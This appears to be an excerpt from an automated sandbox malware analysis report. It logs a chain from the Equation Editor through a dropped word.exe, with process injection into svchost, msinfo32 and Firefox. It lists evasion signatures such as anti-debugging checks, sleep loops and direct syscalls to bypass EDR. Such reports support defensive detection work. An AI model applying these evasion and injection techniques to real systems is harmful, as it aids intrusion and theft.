Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Contains functionality to detect sleep reduction / modifications
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_00444078 5_2_00444078
Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Evasive API call chain: GetPEB, DecisionNodes, ExitProcess
Switches to a custom stack to bypass stack traces
Source: C:\Users\user\AppData\Roaming\word.exe API/Special instruction interceptor: Address: 35153F4
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00B00101 rdtsc 6_2_00B00101
Found dropped PE file which has not been started or loaded
Source: C:\Windows\SysWOW64\msinfo32.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\sqlite3.dll Jump to dropped file
Found large amount of non-executed APIs
Source: C:\Users\user\AppData\Roaming\word.exe API coverage: 3.4 %
Source: C:\Windows\SysWOW64\msinfo32.exe API coverage: 2.2 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3676 Thread sleep time: -240000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe TID: 3952 Thread sleep count: 43 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe TID: 3952 Thread sleep time: -86000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe TID: 4028 Thread sleep time: -60000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\SysWOW64\msinfo32.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\msinfo32.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\msinfo32.exe File Volume queried: C:\Users\user\AppData\Local FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe File Volume queried: C:\Users\user\AppData\Local\Temp FullSizeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_00452126 FindFirstFileW,Sleep,FindNextFileW,FindClose, 5_2_00452126
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_0045C999 FindFirstFileW,FindNextFileW,FindClose, 5_2_0045C999
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_00436ADE GetFileAttributesW,FindFirstFileW,FindClose, 5_2_00436ADE
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_00434BEE FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, 5_2_00434BEE
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_00436D2D FindFirstFileW,CreateFileW,SetFileTime,CloseHandle,SetFileTime,CloseHandle, 5_2_00436D2D
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_00442E1F SetCurrentDirectoryW,FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, 5_2_00442E1F
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_0045DD7C FindFirstFileW,FindClose, 5_2_0045DD7C
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_0044BD29 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose, 5_2_0044BD29
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_00475FE5 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf, 5_2_00475FE5
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_0044BF8D _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose, 5_2_0044BF8D
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_0040E470 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo, 5_2_0040E470
Source: C:\Windows\SysWOW64\svchost.exe Process information queried: ProcessInformation Jump to behavior
Checks if the current process is being debugged
Source: C:\Windows\SysWOW64\svchost.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process queried: DebugPort Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00B00101 rdtsc 6_2_00B00101
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AB07AC NtCreateMutant,LdrInitializeThunk, 6_2_00AB07AC
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_0045A259 BlockInput, 5_2_0045A259
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_0040D6D0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW, 5_2_0040D6D0
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_0040EB70 LoadLibraryA,GetProcAddress, 5_2_0040EB70
Contains functionality to read the PEB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_036AE64C mov edx, dword ptr fs:[00000030h] 2_2_036AE64C
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_03514050 mov eax, dword ptr fs:[00000030h] 5_2_03514050
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_03515660 mov eax, dword ptr fs:[00000030h] 5_2_03515660
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_035156C0 mov eax, dword ptr fs:[00000030h] 5_2_035156C0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AA0080 mov ecx, dword ptr fs:[00000030h] 6_2_00AA0080
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AA00EA mov eax, dword ptr fs:[00000030h] 6_2_00AA00EA
Source: C:\Windows\SysWOW64\svchost.exe Code function: 6_2_00AC26F8 mov eax, dword ptr fs:[00000030h] 6_2_00AC26F8
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_00426DA1 CreateFileW,__lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock, 5_2_00426DA1
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_0042202E SetUnhandledExceptionFilter, 5_2_0042202E
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_004230F5 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 5_2_004230F5
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_00417D93 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 5_2_00417D93
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_00421FA7 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 5_2_00421FA7

HIPS / PFW / Operating System Protection Evasion
barindex
Found direct / indirect Syscall (likely to bypass EDR)
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe NtQueryInformationProcess: Direct from: 0x774CFAFA Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe NtCreateUserProcess: Direct from: 0x774D093E Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe NtCreateKey: Direct from: 0x774CFB62 Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe NtQuerySystemInformation: Direct from: 0x774D20DE Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe NtQueryDirectoryFile: Direct from: 0x774CFDBA Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe NtClose: Direct from: 0x774CFA02
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe NtWriteVirtualMemory: Direct from: 0x774D213E Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe NtCreateFile: Direct from: 0x774D00D6 Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe NtSetTimer: Direct from: 0x774D021A Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe NtOpenFile: Direct from: 0x774CFD86 Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe NtOpenKeyEx: Direct from: 0x774CFA4A Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe NtAllocateVirtualMemory: Direct from: 0x774CFAE2 Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe NtResumeThread: Direct from: 0x774D008D Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe NtOpenKeyEx: Direct from: 0x774D103A Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe NtUnmapViewOfSection: Direct from: 0x774CFCA2 Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe NtDelayExecution: Direct from: 0x774CFDA1 Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe NtSetInformationProcess: Direct from: 0x774CFB4A Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe NtSetInformationThread: Direct from: 0x774CF9CE Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe NtReadFile: Direct from: 0x774CF915 Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe NtMapViewOfSection: Direct from: 0x774CFC72 Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe NtCreateThreadEx: Direct from: 0x774D08C6 Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe NtDeviceIoControlFile: Direct from: 0x774CF931 Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe NtRequestWaitReplyPort: Direct from: 0x753C6BCE Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe NtQueryValueKey: Direct from: 0x774CFACA Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe NtOpenSection: Direct from: 0x774CFDEA Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe NtProtectVirtualMemory: Direct from: 0x774D005A Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe NtSetInformationThread: Direct from: 0x774CFF12 Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe NtWriteVirtualMemory: Direct from: 0x774CFE36 Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe NtRequestWaitReplyPort: Direct from: 0x756F8D92 Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe NtQueryVolumeInformationFile: Direct from: 0x774CFFAE Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe NtNotifyChangeKey: Direct from: 0x774D0F92 Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe NtQueryAttributesFile: Direct from: 0x774CFE7E Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe NtReadVirtualMemory: Direct from: 0x774CFEB2 Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe NtSetTimer: Direct from: 0x774E98D5 Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe NtSetInformationFile: Direct from: 0x774CFC5A Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe NtQuerySystemInformation: Direct from: 0x774CFDD2 Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Users\user\AppData\Roaming\word.exe Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe Section loaded: NULL target: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe protection: execute and read and write Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe Section loaded: NULL target: C:\Windows\SysWOW64\msinfo32.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: NULL target: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: NULL target: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: NULL target: C:\Program Files (x86)\Mozilla Firefox\firefox.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: NULL target: C:\Program Files (x86)\Mozilla Firefox\firefox.exe protection: execute and read and write Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Windows\SysWOW64\msinfo32.exe Thread APC queued: target process: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe Jump to behavior
Writes to foreign memory regions
Source: C:\Users\user\AppData\Roaming\word.exe Memory written: C:\Windows\SysWOW64\svchost.exe base: 7EFDE008 Jump to behavior
Contains functionality to execute programs as a different user
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_0043916A LogonUserW, 5_2_0043916A
Contains functionality to launch a program with higher privileges
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_0040D6D0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW, 5_2_0040D6D0
Contains functionality to simulate keystroke presses
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_004375B0 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput, 5_2_004375B0
Contains functionality to simulate mouse events
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_00436431 __wcsicoll,mouse_event,__wcsicoll,mouse_event, 5_2_00436431
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\word.exe C:\Users\user\AppData\Roaming\word.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe Process created: C:\Windows\SysWOW64\svchost.exe C:\Users\user\AppData\Roaming\word.exe Jump to behavior
Source: C:\Program Files (x86)\VOZtgxBxyGdAUEZvVwbwrTYrUzPcxRMLrHdkNbFxtliZLdHQCgXCuTeJXDKktVwKpQjyF\XAgFxCrXhYKjE.exe Process created: C:\Windows\SysWOW64\msinfo32.exe "C:\Windows\SysWOW64\msinfo32.exe" Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process created: C:\Program Files (x86)\Mozilla Firefox\firefox.exe "C:\Program Files (x86)\Mozilla Firefox\Firefox.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_00445DD3 GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity, 5_2_00445DD3
